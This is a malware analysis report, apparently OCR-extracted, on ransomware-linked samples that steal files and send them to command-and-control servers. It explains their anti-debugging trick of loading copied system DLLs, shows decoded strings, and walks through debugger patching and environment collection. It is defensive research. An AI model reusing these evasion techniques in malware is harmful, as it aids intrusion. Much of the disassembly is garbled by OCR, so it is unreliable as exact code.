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Summary

Over the past year, a major change in tactics employed by ransomware adversaries is to exfiltrate data
from the victim's environment. The data then serves as the material for an extortion threat on top of the
ransom for encrypted data. This additional tactic became a trend followed by most major ransomware
families early last year, 2020 1.To support this tactic, some ransomware operators have added a specific
type of malware to perform this exfiltration to their intrusion set2. The five samples analyzed here
perform this type of data exfiltration. They upload a set of files from the victim's computer to command
and control servers hosted on IP addresses 51.81.153[.]212, 51.161.82[.]135, and 51.77.110[.]6. All of
these IP addresses are owned by OVH SAS, a French hosting company. The malware follows the
exfiltration with a single line PowerShell command that stops the malware's running process and then
deletes the malware file that was executed. The malware has a type of anti-analysis behavior called
"Relocate API Code" according to the Malware Behavior Catalog's 2 categorization 4. The malware reads
a copy of system DLLs into memory and resolves imports from there. This causes a problem for
debuggers such as x64dbg 2.

Interestingly, these files share code with an earlier malware sample with completely different capabilities.
This earlier file has been observed alongside TrickBot, CobaltStrike, and ransomware 8. This earlier
malware additionally uses the same anti-analysis technique, but does not exfiltrate data. It has the
capability to download a CobaltStrike beacon and execute it Z. In addition to this overlap in code and
behavior, the command and control (C2) infrastructure domains are registered via the same registrar.
Also, the C2 IP addresses are owned by the same hosting company, OVH.

Anti-analysis Trick

Relocate API Code

The first behavior one observes when running these samples in a sandbox or in a debugger is that at the
point where the imports are resolved an exception is raised. Debugging past this point is not possible
without circumvention of an anti-analysis trick. This circumvention starts by examining the first encoded
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string the samples decode. Encoded strings are found in two general forms in these samples. First is
with all the rest of the strings in the file in the .data section. Some of these can be seen in Figure 1 with
one example highlighted.

.data section started {0x140009000-0x140009b08}

140009000 data_140009000:

140009000 fb fc fe ff aa 6f-73 66 4d 71 39-7c 75 - vrosfjMquod|u~. .mOrxxxx....
140009020 data_140009020:

140009020 fb fc fe 7d-6d 7 68 37 3b-2c 35 = 6 Nq}mq|h7>8,,59x~u .5dk83JI
140009040 4c 58 3e 57-4d 97 98 82-91 8f = £ 83 LX>voxXWMEg

140009060 90 8a 8a ae-a9 ac ab 74-6c bl
140009080 Tc a® c6 92-9c 97 96 9b-9f 9b
140009020 aa be ac a0 d4 e9-e5 ef b6 bd b9-bf c3
1400090c@ data_1400090c0:

1400090c0 fb fc fe ff aa 48 47 57-00 6d 4f 72 78-78 00

Figure 1: Encoded Strings

Notice the "mOrxxxx" characters that trail each of the encoded strings. These trailing characters will be
examined below.

The other location where encoded strings are found is split up character-by-character as stack strings.
Each byte is moved one-by-one to a location on the stack before the decoding operation occurs. The first
string of this type is in the function that resolves imports from kernel32.dll. This encoded string is shown
in Figure 2.

48 :81EC 48010000 sub rsp,148 resolve_kernel32
0000000140001663 C68424 F8000000 FB mov byte ptr ss:[frsp+F8Jl,FB

000000014000166B C68424 F9000000 FC mov byte ptr ss:[rsp+F9],FcC

0000000140001673 c68424 FA000000 FE mov byte ptr ss:[rsp+FA],FE

0000000140001678 c68424 FBOO0O0OOO FF mov byte ptr ss:[rsp+FB],FF

0000000140001683 C68424 FCO00000 AA [mov byte ptr ss:[rsp+Fc],Aa

0000000140001688B 68424 FDO00000 44 mov byte ptr ss:[rsp+FDJ,44 44:'D’
0000000140001693 C68424 FEO000000 3cC mov byte ptr ss:[[rsp+FE],3C 3cal<?
0000000140001698 C68424 FF000000 5F mov byte ptr ss:[rsp+FF],5F 5Fz"."
00000001400016A3 c68424 00010000 5B mov byte ptr ss:[rsp+100[, 58 L e &
00000001400016AB C68424 01010000 6E mov byte ptr ss:[rsp+101] 6E 6E:'n
00000001400016B3 c68424 02010000 74 mov byte ptr ss:[frsp+102] ,/4 74 R o
000000014000168BB C68424 03010000 6B mov byte ptr ss:[Ersp+103],6B 6B: 'k’
00000001400016C3 c68424 04010000 77 mov byte ptr ss:[frsp+104],77 77:'w'
00000001400016CB C68424 05010000 80 mov byte ptr ss:[frsp+105],80

00000001400016D3 C68424 06010000 7D mov byte ptr ss:[rsp+106],7D 7Dz 3
00000001400016DB c68424 07010000 67 mov byte ptr ss:[rspﬂ107:,67 67:'qg’
00000001400016E3 c68424 08010000 5F mov byte ptr ss:[frsp+108],5F L
00000001400016EB C68424 09010000 86 mov byte ptr ss:[rsp+109],86

00000001400016F3 68424 0A010000 81 mov byte ptr ss:[rsp+10AJ,81

00000001400016FB Cc68424 0B010000 83 mov byte ptr ss:[Ersp+108]J,83

0000000140001703 C68424 0C010000 75 mov byte ptr ss:[rsp+10c],75 T
000000014000170B C68424 0D010000 7E mov byte ptr ss:[rsp+10D],7E 7E:'~
0000000140001713 C68424 0010000 45 mov byte ptr ss:[frsp+10E],45 45:'E
0000000140001718 c68424 0OF010000 45 mov byte ptr ss:[rsp+10F],45 45:'E
0000000140001723 c68424 10010000 70 mov byte ptr ss:[rsp+110]3,7 70:'p
0000000140001728 C68424 11010000 80 mov byte ptr ss:[rsp+111],80

0000000140001733 Cc68424 12010000 7B mov byte ptr ss:[frsp+112],78B 7Am
000000014000173B C68424 13010000 89 mov byte ptr ss:[rsp+113],89

0000000140001743 c68424 14010000 86 mov byte ptr ss:[r‘spvll4: ,86

000000014000174B c68424 15010000 7E mov byte ptr ss:[rsp+115],7E 7E:'~"'
0000000140001753 Cc68424 16010000 86 mov byte ptr ss:[frsp+116],86

0000000140001758B C68424 17010000 4E mov byte ptr ss:[frsp+117],4E 4E:'N'
0000000140001763 C68424 18010000 4E mov byte ptr ss:[frsp+118],4E 4E:'N'
000000014000176B C68424 19010000 4B mov byte ptr ss:[frsp+119],48 4B: "K'
0000000140001773 C68424 1A010000 82 mov byte ptr ss:[rsp+11Al,82

0000000140001778 c68424 18010000 8B mov byte ptr ss:[frsp+11BJ, 8B

0000000140001783 C68424 1c010000 8cC mov byte ptr ss:[rsp+11c],8cC

0000000140001788 C68424 1p010000 00 |mov byte ptr ss:[rsp+11D],0

0000000140001793 68424 1010000 07 mov byte ptr ss:[frsp+11E],7

0000000140001798 c68424 1F010000 6D mov byte ptr ss:[rsp+11F],6D 6D:'m'
00000001400017A3 C68424 20010000 4F mov byte ptr ss:[[rsp+120],4F 4F:'0’
00000001400017AB 68424 21010000 72 mov byte ptr ss:[rsp+121],72 Z2:hr"
0000000140001783 C68424 22010000 78 mov byte ptr ss:[rsp+122],78 782Xt
000000014000178BB c68424 23010000 78 mov byte ptr ss:[frsp+123],78 78:'x'
00000001400017¢C3 c68424 24010000 78 mov byte ptr ss:frsp+124],78 782"
00000001400017cCB C68424 25010000 78 mov byte ptr ss:[rsp+125] ,78 782
00000001400017D3 c68424 26010000 00 mov byte ptr ss:[rsp+ -126]]

00000001400017DB 48 :808C24 F8000000 lea rcx,qword ptr ss: [rsp FS]

00000001400017E3 E8 C44c0000 call <68af2.decode _string>

00000001400017E8 48 :8BC8 mov rcx,rax

00000001400017EB E8 20340000 calll 68af2.140004C10
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Figure 2: First Encoded String

This first string decodes to "C:\Windows\System32\kernel32.dIl". This path is then used to read the DLL
from the filesystem into memory. Imports are then resolved against this copy of the DLL rather than the
system DLL. The function calls to copy the DLL are shown in Figure 3.

0000000140001FBC 48:894C24 08 mov gword ptr ss:[rsp+8J, rcx copy_d11
0000000140001FC1 48 :83EC 68 sub rsp,68

0000000140001FC5 C74424 44 00008000 mov dword ptr ss:[Qrsp+44[,800000

0000000140001FCD 48:€74424 50 FFFFFFFEmov gword ptr ss:[rsp+50]),FFFFFFFFFFFFFFFF
0000000140001FD6 C74424 40 00000000 mov dword ptr ss:[firsp+40,0

0000000140001FDE FF15 2C600000 call qword ptr ds:[<&GetCurrentProcess> ]
0000000140001FE4 c74424 28 00000000 mov dword ptr ss:[rsp+28Q,0

0000000140001FEC C74424 20 40000000 mov dword ptr ss:[Ersp+20J,40 40:'@’
0000000140001FF4 41:89 00300000 mov r9d, 3000

0000000140001FFA 41:88 00008000 mov r8d, 800000

0000000140002000 33p2 xor edx,edx

0000000140002002 48 :8BC8 mov_ rcx,rax rex:L"C:\\wWindows\\System32\\kerne133.d11"
0000000140002005 FF15 15600000 call qgword ptr ds:[<&virtualAllocExNuma> ]
0000000140002008 48:894424 58 mov_qword ptr ss:[rsp+58[, rax

0000000140002010 FF15 FASF0000 call qgword ptr ds:[<&GetCurrentProcess> ]
0000000140002016 Cc74424 28 00000000 mov dword ptr ss:[rsp+28Q,0

000000014000201E C74424 20 40000000 mov dword ptr ss:[frsp+20],40 40:'@’
0000000140002026 41:89 00300000 mov r9d, 3000

000000014000202C 41:88 18000000 mov r8d,18

0000000140002032 33p2 xor edx,edx

0000000140002034 48 :8BC8 mov rcx,rax rex:L"C:\\Windows\\System32\\kerne133.d11"
0000000140002037 FF15 E35F0000 gall qword ptr ds:[<&virtualAllocExNuma> ]
000000014000203D 48:894424 48 mov qword ptr ss:[rsp+48J, rax

000000014000204 2 48 :8B4424 48 mov rax,qword ptr ss:[irsp+48]

0000000140002047 Cc640 10 00 mov byte ptr ds:[rax+10],0

0000000140002048 48:C74424 30 0000000( mov gword ptr serrsp'—SO ,0

0000000140002054 C74424 28 80000000 mov dword ptr ss:[Qrsp+28],80

000000014000205¢C C74424 20 03000000 mov dword ptr ss:[Ersp+20],3

0000000140002064 45:33¢9 xor r9d, r9d /
0000000140002067 45:33C0 xor r8d,r8d

000000014000206A BA 00000080 mov edx,80000000

000000014000206F 48 :884C24 70 mov rcx,qgword ptr ss:[irsp+70 [rsp+70] :L"c:\\Windows\\System32\\kerne133.d11"
0000000140002074 FF15 C65F0000 call gword ptr ds:[<&CreateFilew> ]

000000014000207A 48:894424 50 mov qword ptr ss:[frsp+50[0, rax

000000014000207F 48:837C24 50 FF cmp qword ptr ss:[rsp+50],FFFFFFFFFFFFFFFF
0000000140002085 v 75 13 jne 68af2.14000209A

0000000140002087 48:884424 48 mov rax,qword ptr ss:[Ersp+48[]

000000014000208C €640 10 01 mov byte ptr ds:[rax+10],1

0000000140002090 48:884424 48 mov rax,qword ptr ss:[rsp+48]

0000000140002095 ~ E9 91000000 jmp 68af2.140002128

000000014000209A 48:8B4424 48 mov rax,qword ptr ss:[Irsp+48]

000000014000209F 8800 mov eax,dword ptr ds:[rax]

00000001400020A1 48 :8B4C24 58 mov rcx,qword ptr ss:[Irsp+58]

00000001400020A6 48:03C8 add rcx,rax rex:L"C:\\wWindows\\system32\\kerne133.d11"
00000001400020A9 48 :8BC1 mov rax,rcx rex:L"c:\\Windows\\System32\\kerne133.d11"
00000001400020AC 48:C74424 20 0000000( mov gword ptr ss:[rsp+20[,0 L
0000000140002085 4c:804C24 40 Tea r9,qword ptr ss:[irsp+40]

000000014000208A 41:88 00008000 mov r8d,800000

00000001400020C0 48 :88D0 mov rdx,rax

00000001400020C3 48 :884C24 50 mov rcx,qword ptr ss:[irsp+50]

00000001400020¢8 FF15 7A600000 €all qword ptr ds:[<&ReadFile> ]

00000001400020CE 85C0 test eax,eax

00000001400020D0 v 75 12 ine 68af2.1400020E4

Figure 3: Copy DLL Function

In the debugger's environment, this read fails with an exception which then prevents the imports from
being properly resolved &. A detailed explanation of what's happening here can be found on OALabs
YouTube channel £.To circumvent this trick, one can create a copy of the DLLs on the filesystem and
change their names along with the decoded path strings. This way the DLLs can be read correctly and
the imports properly resolved. This change can be done on the fly in the debugger after the strings are
decoded. An example of changing this on the fly using the filename kernel33.dll is shown in Figure 4.

VUUUUUULHUUULI LD LUO% LY LUVLUVUY UU MUV WYLE PL D3 . SPTLLUE,V

00000001400017D8 48:808C24 F8000000 lea rcx,qword ptr ss:[frsp+rF8J)

00000001400017E3 E8 C44cC0000 call <68af2.decode_string>

00000001400017E8 48 :8BC8 mov rcx,rax rcxl“cz\\windows\\systemSZ\\kerne1 33,dﬂ"| rax:'

00000001400017EB E8 20340000 call 68af2.140004cl0

0000000140001770 |  48:898424 38010000 |mov gword ptr, ss:Erspi138l, rax

<

™D &8 > @) | 00000
ump 1 @y Dump2 @Y Dump3 @Y Dump4 @Y Dump5 & Watch1  [x=]Locals ¥ Struct 00000

Address | Hex ASCIT | [a] [P

000000000014FEG8 |43 3A 5C 57[69 6E 64 6F[//7 73 e e Y 00000

000000000014FE78 (6D 33 32 5C|6B 65 72 B6E|65 6C 33| 2E 64 6C 6C m32\ker‘ne133.1’|1 00000

000000000014FE88 |00 4B 82 8B|8C 00 07 6D|4F 72 st e ; 00000

000000000014FE98 |00 00 00 00100 00 00 00100 00 00 00I00 00 00 OO/ .......ovvuuunnn AnAAA

Figure 4. Change DLL Name
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Alternatively, the single encoded byte needed for this change can be modified in the sample with a hex
editor to make this change permanent. This also makes restarting the analysis in the debugger less
annoying. This byte difference is highlighted using HexFiend's 12 comparison function and can be seen in
Figure 5.

[ ] 934c5.exe vs 934¢c5_patch.exe

2570 000045C6 84241001 000070C6 84241101 2570 000045C6 84241001 000070Co 84241101
2580 000080C6 84241201 00007BCo6 84241301 2580 000080C6 84241201 00007BC6 84241301
2590 000089C6 84241401 000086C6 84241501 2590 000089C6 84241401 000086C6 84241501

25A0 00007EC6 84241601 000086C6 84241701 | 25A0 Q0QO7ECO 84241601 000086C6 84241701
25B0 00004ECEo 84241801 00004ECG 84241901 | 25B0 00004ECG 84241801 00004FC6 84241901
25C0 00004BCo 84241A01 000082C6 84241B0O1 | 25C0O 00004BCo6 84241A01 000082C6 84241BO1

1: Replace 1 byte at offset 0x25ba with 1 byte

Figure 5: Original Compared to Patch

After the DLL path has been decoded, the various imports from that DLL are then decoded from similar
stack strings. One example with LoadLibraryW is shown in Figure 6. Again, please note the trailing
"mOrxxxx" string immediately after the encoded bytes of the "LoadLibraryW" string.

0000000140001815 8800 mov eax,dword ptr ds:[rax] eax:"LoadLibraryw", rax:"LoadLibraryw"
0000000140001817 45:33¢C0 xor r8d, r8d
000000014000181A 88DO mov edx,eax eax:"LoadLibraryw"
000000014000181¢C 48 :888424 30010000 mov rax,qword ptr ss:[irsp+130]
0000000140001824 48 :8848 08 mov rcx,qword ptr ds:[rax+8] Ircx:”LoadL'ibraryw",Irax+8:"ar”yw”
0000000140001828 E8 17260000 call <68af2. load_sections>
000000014000182D 48:898424 28010000 mov qword ptr ss:[Qrsp+128], rax
0000000140001835 c64424 20 FB mov byte ptr ss:|[rsp+20J,FB
000000014000183A C64424 21 FC mov byte ptr ss:[irsp+21J,FcC
000000014000183F C64424 22 FE mov byte ptr ss:[[rsp+22],FE
0000000140001844 c64424 23 FF mov byte ptr ss:[rsp+23]J,FF
0000000140001849 C64424 24 AA mov byte ptr ss:frsp+24],AA
000000014000184E c64424 25 4D mov byte ptr ss:[firsp+25],4D 4D:'M'
0000000140001853 c64424 26 71 mov byte ptr ss:[irsp+26J,71 7l
0000000140001858 c64424 27 64 mov byte ptr ss:[[rsp+27],64 64:'d'
000000014000185D c64424 28 68 mov byte ptr ss: rsp#ZS%,GS 68:'h'
0000000140001862 c64424 29 51 mov byte ptr ss:firsp+29],51 51:‘Q'
0000000140001867 C64424 2A 6F mov byte ptr ss:[rsp+2Al,6F 6F:'0’ LoadleraryW
000000014000186C C64424 2B 69 mov byte ptr ss:[rsp+2g8],69 69:'i'
0000000140001871 c64424 2C 7A mov byte ptr ss:[rsp+2C],7A TAG Z
0000000140001876 C64424 2D 6A mov byte ptr ss:[[rsp+2DJ,6A 6A: "]’
0000000140001878 c64424 2 7C mov byte ptr ss:firsp+2EJ,7C rileE
0000000140001880 c64424 2F 84 mov byte ptr ss:[rsp+2F],84
0000000140001885 c64424 30 63 mov byte ptr ss:[rsp+30],63 B63z'e’
000000014000188A c64424 31 00 mov byte ptr ss:[[rsp+31],0
000000014000188F c64424 32 07 mov byte ptr ss:[rsp+32],7
0000000140001894 c64424 33 6D mov byte ptr ss:[[rsp+33],6D 6D:'m'
0000000140001899 C64424 34 4F mov byte ptr ss:[rsp+34],4F 4E: -0
000000014000189E c64424 35 72 mov byte ptr ss:[[rsp+35],72 TP
00000001400018A3 c64424 36 78 mov byte ptr ss:[rsp+36],78 785 0 MOROXXX
00000001400018A8 c64424 37 78 mov byte ptr ss:[rsp+37],78 T8: 5"
00000001400018AD c64424 38 78 mov byte ptr ss:[[rsp+38],78 T8aEx
00000001400018B2 c64424 39 78 mov byte ptr ss: rsp+39f,78 Fas e
00000001400018B87 C64424 3A 00 mov byte ptr rsp+3Al,0
00000001400018BC 48 :8D4C24 20 lea rcx,qword ptr SS: [rsp 200
OOOOOOOMOOOISCL E8 E64B0000 call <68af2. decode _string>
Cc68424 Dp0O000000 FB mov byte ptr ss:[rsp+DO],FB
OOODOOOMOODlSCE C68424 D1000000 FC mov byte ptr ss:[[rsp+D1],FC

Figure 6: Encoded LoadLibraryW with Trailing Additional String

Once the import strings are decoded, a custom implementation of GetProcAddress is used on the copy
of kernel32.dll to resolve the imports. The results of this process can be seen in Figure 7.
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0000000140001D44 48 :8D4C24 40 Tea rcx,qword ptr ss:[rsp+40]

0000000140001D49 E8 5E470000 call <68af2.decode_string>

0000000140001D4E 48 :8D5424 20 lTea rdx,gword ptr ss:[rsp+20]

0000000140001D53 48 :888C24 28010000 mov rcx,qword ptr ss:fErsp+128]
0000000140001D5B E8 04F6FFFF call <68af2.get_proc_address>

0000000140001D60 48 :8905 998c0000 mov qword ptr ds:[<&IMP.&LoadLibraryws> J],rax
0000000140001D67 48 :8D9424 A8000000 lea rdx,gword ptr ss:[rsp+A8]

0000000140001D6F 48 :888C24 28010000 mov rcx,qword ptr ss:|[rsp+128]
0000000140001D77 E8 E8FS5FFFF call <68af2.get_proc_address>

0000000140001D7C 48 :8905 D58c0000 mov qword ptr ds:[<&IMP.&GlobalMemoryStatusex> 1,rax
0000000140001D83 48 :8D09424 80000000 lea rdx,qword ptr ss:[[rsp+80]

0000000140001D8B 48 :8B8C24 28010000 mov rcx,gword ptr ss:[rsp+128]
0000000140001D93 E8 CCFSFFFF call <68af2.get_proc_address>

0000000140001D98 48 :8905 A98C0000 mov qgword ptr ds:[<&IMP.&GetDiskFreeSpaceExA> ], rax
0000000140001D9F 48 :8D5424 60 lea rdx,qword ptr ss:[irsp+60]

0000000140001DA4 48 :888C24 28010000 mov rcx,qword ptr ss:|[rsp+128]
0000000140001DAC E8 B3F5FFFF call <68af2.get_proc_address>

0000000140001DB1 48 :8905 808c0000 mov qword ptr ds:[<&IMP.&GetProductInfo> ], rax
0000000140001DBE8 48 :8D5424 40 lea rdx,qword ptr ss:[[rsp+40]

0000000140001DBD 48 :888C24 28010000 mov rcx,qword ptr ss:|[rsp+128]
0000000140001DC5 E8 9AFSFFFF call <68af2.get_proc_address>

0000000140001DCA 48 :8905 D78C0000 mov qword ptr ds:[<&IMP.&GetVersionExA> ],rax
0000000140001DD1 | B8 01000000 mov eax,l

0000000140001DD6 48 :81c4 48010000 add rsp,148

0000000140001DDD c3 ret

Figure 7: After Imports Resolved

Examining the exports for these samples shows a DLL name "Input.exe" as well as one exported
function "bsearch". These exports are shown in Figure 8.

140008ad2 }
140008ad2

char __pe_Input_export_dll_name[0@xa] = "Input.exe", 0
140008adc char __export_name(bsearch)[0x8] = "bsearch", ©
140008ae4 struct Import_Directory_Table __+import_directory_entries[0x4] =

140008ae4 {

Figure 8: Exports

This bsearch function is a version of the binary search algorithm 1. It appears once in the samples as
part of the custom GetProcAddress implementation. This function call is highlighted in Figure 9.

get_proc_address(i

_— ———

1400015af
1400015b4
1400015b7
1400015be
1400015c3
1400015cHS
1400015cc
1400015d1
1400015d5
1400015dd
1400015e2
1400015e7
1400015ed

64_t* argl, 1nté64_t

arg2)

rax, qword [rsp+0x30 {var_58_1}]
eax, dword [rax+0x18]
rcx, [rel sub_140005178]
qword [rsp+0x20 {var_68}], rcx
rod, 0x10
r8d, eax
rax, qword [rsp+0x50 {var_38}]
rdx, qword [rax+0x50]
rcx, [rsp+®x98 {arg_10}]
bsearch
qword [rsp+0x70 {var_18_1}], rax
qword [rsp+Ox70 {var_18_1}], 0x0
0x1400015fe

[H]

{sub_140005178}
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Figure 9: Function Call to bsearch in Custom GetProcAddress

After the imports from kernel32.dIl have been resolved, the next DLL is ntdll.dll. The process shown
above is repeated for this DLL. The alternative name used here was npdll.dll. The path after this change
is shown in Figure 10.

Address [ Hex ASCII
000000000014FEG8 |77 73 5C 53|79 73 74 65|6D 33 32 5C 65 55 64 6C|ws\System32\np
000000000014FE78 |6C 2E 64 6C|6C 00 48 7F |88 89 00 07|6 AT e L L FL T A o=
000000000014FE88 |78 78 78 00|8C 00 07 6D|4F 72 78 78|78 78 00 00| XXX....mOrxxxx..
000000000014FE98 (80 08 9D 02100 00 00 00I100 00 18 0O0I00 00 00 00/ . .vee v iineunnn

Figure 10: DLL Name Change

Some of the resolved imports give an idea of what's to come and what the capabilities are for these
samples. Examples of this are the imports of "HttpAddRequestHeadersW" and "EnumProcesses" as
shown in Figures 11 and 12.

0000000140003BBA C68424 07010000 72 mov byte ptr ss:[Brsp+1070,72
0000000140003BC2 c68424 08010000 78 mov byte ptr ss:[rsp+108J,78
0000000140003BCA c68424 09010000 78 mov byte ptr ss:[rsp+109],78
0000000140003BD2 c68424 0A010000 78 mov byte ptr ss:[rsp+10AJ,78
0000000140003BDA c68424 0B010000 78 mov byte ptr ss:[rsp+108J,78
0000000140003BE2 Cc68424 0c010000 00 mov byte ptr ss:[rsp+10cC],0
0000000140003BEA 48 :8D8c24 E8000000 lea rcx,qgword ptr ss:[irsp+E8]
0000000140003BF2 E8 B5280000 call <68af2.decode_string>
0000000140003BF7 48 :8D9424 E88000000 lea rdx,gword ptr ss:[[rsp+E8]
0000000140003BFF 48 :888C24 30010000 mov rcx,qword ptr ss:[frsp+130]
0000000140003cC07 E8 BO0OCO0000 call 68af2.1400048BC
0000000140003c0C 48 :8905 556E0000 mov qword ptr ds:[<&HttpAddRequestHeadersw> ],rax
0000000140003c13 B8 01000000 mov eax,l

0000000140003c18 48 :81c4 58010000 add rsp,158

0000000140003C1F c3 ret

0000000140003cC20 895424 10 mov dword ptr ss:[Ersp+100,edx

Figure 11: Import HttpAddRequestHeadersW

000000014000668B4 C64424 67 78 mov byte ptr ss:[rsp+67Q,78 Z8ix:
00000001400066B9 C64424 68 78 mov byte ptr ss:[rsp+68],78 78z
00000001400066BE c64424 69 78 mov byte ptr ss:|[rsp+69[,78 78
00000001400066C3 C64424 6A 78 mov byte ptr ss:[rsp+6A[J,78 78=
00000001400066C8 c64424 6B 00 mov byte ptr ss:[rsp+6BJ],0

00000001400066CD 48:8D4C24 50 lea rcx,qword ptr ss:[frsp+50]

00000001400066D2 E8 DSFDFFFF call <68af2.decode_string>

00000001400066D7 48:8D5424 50 lea rdx,qword ptr ss:|[[rsp+50]

00000001400066DC 48:884C24 30 mov rcx,qgword ptr ss:frsp+3 [rsp+30]:"'e\x03"
00000001400066E1 E8 D6ELFFFF call 68af2.1400048BC

00000001400066E6 48:8905 63430000 mov qword ptr ds:[<&EnhumProcesses> ],rax
00000001400066ED B8 01000000 mov eax,l

00000001400066F2 48:83C4 78 add rsp,78

00000001400066F6 c3 ret

00000001400066F7 cC int3

00000001400066F8 44:894c24 20 mov dword ptr ss:[irsp+200, rod

Figure 12: Import EnumProcesses

The rest of the DLLs after ntdll.dll that are loaded are not loaded using this same antianalysis trick.
These other DLLs are user32.dll, wininet.dll, and psapi.dll. The steps to decode and resolve imports from
each DLL are divided into separate functions. Each of these functions is shown in figure 13.
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resolve_imports:

1400050ac
1400050b0
1400050b5
1400050ba
1400050bf
1400050c4
1400050c9
1400050cb
1400050cf

Figure 13: Resolve Import Functions

rsp, 0x28

resolve_kernel32
resolve_ntdll
resolve _user32

resolve_wininet
resolve_psapi
eax, eax {0Ox0}
rsp, 0x28

{__return_addr}

In the code of these samples, another interesting library function calling pattern is to call

NtAllocateVirtualMemory using syscall to allocate memory. This pattern of function call is shown in Figure

14.
00000000035BC3B0O 4C:8BD1 mov rl0,rcx
00000000035BC3B3 B8 18000000 mov eax,18
00000000035BC3B8 F60425 0803FE/F 01 test byte ptr ds:[7FFE03081],1
00000000035B8C3C0 75 03 oo 2LRCICT
00000000035BC3C2 OF05 “syscall NtAllocatevirtualMemory |
00000000035BC3C4 Cc3 et
00000000035BC3C5 cD 2E int 2E
00000000035BC3C7 E3 ret
00000000035BC3C8 OF1F8400 00000000 nop dword ptr ds:[rax+rax],eax

Figure 14: Syscall Used on NtAllocateVirtualMemory

Collect Environment Information

The first set of capabilities in these samples is to collect information about the victim's environment. The
first bit of information collected is the name of the computer. The call to GetComputerNameEXA is shown
in Figure 15.
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00000001400027CC
00000001400027D0
00000001400027D4
00000001400027DC
00000001400027E2
00000001400027E7
00000001400027EC
00000001400027F1
00000001400027F6
00000001400027FE
0000000140002803
0000000140002808
000000014000280C

0000000140002812

0000000140002814
0000000140002816
0000000140002818
000000014000281A
000000014000281F
0000000140002823
0000000140002824

894C24 08
48:83EC 38
C74424 24 00010000
41:88 40000000
BA 00300000

B9 00010000

E8 E3150000
48:894424 28
C74424 20 00010000
4C:8D4424 20
48:885424 28
8B4C24 40

FF15 A6580000
85c0

75 04

33c0

EB 05
48:884424 28
48:83c4 38

c3

44:894424 18

Figure 15: Collect Computer Name

mov
sub
mov
mov
mov

dword ptr ss:[irsp+8[,ecx
rsp, 38

dword ptr ss:[rsp+24J),100
réd,40

edx, 3000

mov ecx,100
call 68af2.140003DD4

mov
mov
Tea
mov

oL

gword ptr ss:[[rsp+280, rax
word ptr ss:firsp+20]J,100
r8,qgword ptr ss:[Irsp+20]

rdx,qword ptr ss:[Ersp+28]
o ﬁunnﬂ ntr oo - Frcpo 101

€all gword ptr ds:[<&GetComputerNameEXA> ﬂ

TeESC COx;

jne
xor
jmp
mov
add
ret
mov

68af2.14000281A

eax,eax

68af2.14000281F

rax,qword ptr ss:[irsp+28]
rsp, 38

dword ptr ss:[Ersp+187,r&8d

computer_name

40:'@’

rsp+28]: "peskTor-| N
[rsp+28]: "peskTor

[rsp+28]: "DESKTOP—-‘

The next bit of environmental information collected is the physical and virtual memory status. This is
done via a call to GlobalMemoryStatusEx 12 which is shown in Figure 16.

0000000140002130
0000000140002132
0000000140002136
0000000140002138
000000014000213E
0000000140002140
0000000140002145
0000000140002147
000000014000214F
0000000140002154

000000014000215A

000000014000215C
0000000140002161
0000000140002166
0000000140002169
000000014000216D
000000014000216E
000000014000216F

40:57

48 :83EC 60
48:8D4424 20
48 :8BF8

33¢0
B9 40000000
3 -

F3:AA

C74424 20 40000000
48 :8D4C24 20

FF15 FE880000

33D2

D
48:884424 28
B9 00000040
48 :F7F1
48:83¢4 60

push rdi

sub
Tea
mov
xor
mov
rep
mov
-

rsp,60

rax,gword ptr ss:[rsp+20]
rdi, rax

eax,eax

ecx,40

stosh

dword ptr ss.:[rsp-v;ZO],J,O_l

memory_status

40:'@’
40:'@’

e L M =
call gword ptr ds:[<&IMP.&GlobalMemoryStatusEx> ]I

ROT

mov
mov
div
add
pop
ret

rax,gword ptr ss:[Ersp+28]
ecx,40000000

rcx

rsp,60

rdi

int3

Figure 16: Measure Physical and Virtual Memory Status

The memory status is not sent back to the command and control (C2) infrastructure. It is probably used
in the file processing algorithm because the primary purpose of these samples is to exfiltrate files from
the victim's computer. These files must be copied from the filesystem to memory for processing before

being sent to the C2.

The next data point collected is the username that ran the malware file. This data point does not appear
to be sent back to the C2 according to the fields in the network traffic. The API call to GetUserNameA is
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shown in Figure 17.

0000000140004744 48 :83EC 38 sub rsp,38 username
0000000140004748 c74424 20 01010000 mov dword ptr ss:|[rsp+20[J,101

0000000140004750 884424 20 mov eax,dword ptr ss:[[rsp+20]

0000000140004754 48 :D1EO sh1l rax,1

0000000140004757 41:88 40000000 mov r8d,40 40:'@’
000000014000475D BA 00300000 mov edx, 3000

0000000140004762 48 :8BC8 mov rcx,rax

0000000140004765 E8 BAF6FFFF call 68af2.140003DD4

000000014000476A 48:894424 28 mov qword ptr ss:[[rsp+280, rax [rsp+28]:
000000014000476F 48 :837c24 28 00 cmp gword ptr ss:[rsp+28],0 [rsp+28]:
0000000140004775 +« 75 09 jne 68af2.140004780

0000000140004777 48 :8D05 943B0000 lea rax,qword ptr ds:[140008312 ]
000000014000477E v EB 22 jmp 68af2.1400047A2

0000000140004780 48 :8D5424 20 lea rdx,qword ptr ss:[frsp+20]

0000000140004785 48:884C24 28 IFPCPRPSLDAP IS Y. | (rsp+28]: N
0000000140004 78A FF15 70380000 I call gword ptr ds:[<&GetUserNameA> ]I

85C0 R TN

0000000140004 /92 v 75 09 jne 68af2.14000479D

0000000140004794 48 :8D05 77380000 lea rax,gword ptr ds:[140008312 ]
0000000140004798 v EB 05 jmp 68af2.1400047A2

000000014000479D 48:884424 28 mov rax,qword ptr ss:[rsp+28] trsp+281:
00000001400047A2 48:83Cc4 38 add rsp,38

00000001400047A6 C3 ret

00000001400047A7 cc int3

Figure 17: Collect Username

Next the samples check the free disk space via GetDiskFreeSpaceExA as shown in Figure 18.

48:83EC 48
0000000140004BC4 48:C74424 28 0000000(
0000000140004BCD C74424 20 00000000
0000000140004BD5 45:33C9
0000000140004BD8 4Cc:8D4424 30
0000000140004BDD 33D2
0000000140004BDF 48:884C24 28
0000000140004BE4 FF15 S5ES5E0000
0000000140004BEA 894424 20
0000000140004BEE 837C24 20 00
0000000140004BF3 74 11
0000000140004BF5 33D2
0000000140004BF7 48:884424 30
0000000140004BFC B9 00000040
0000000140004c01 48 :F7F1
0000000140004C04 EB 02
0000000140004C06 33c0
0000000140004C08 48:83C4 48
0000000140004C0C c3

0000000140004 COD cc

sub rsp,48
mov gword ptr ss:[rsp+28],0
mov dword ptr ss:[rsp+20],0
xor rod,rod
lea r8,qword ptr ss:[[rsp+30]
xor edx,edx

PP e e PR PP X o |

Bsan . L o Theh T

call gword ptr ds:[<&IMP.&GetDiskFreeSpaceExA> ]I
o T DD.‘EID[JTLU;’,CQI\

cmp dword ptr ss:[rsp+20],0
je 68af2.140004c06
xor edx,edx
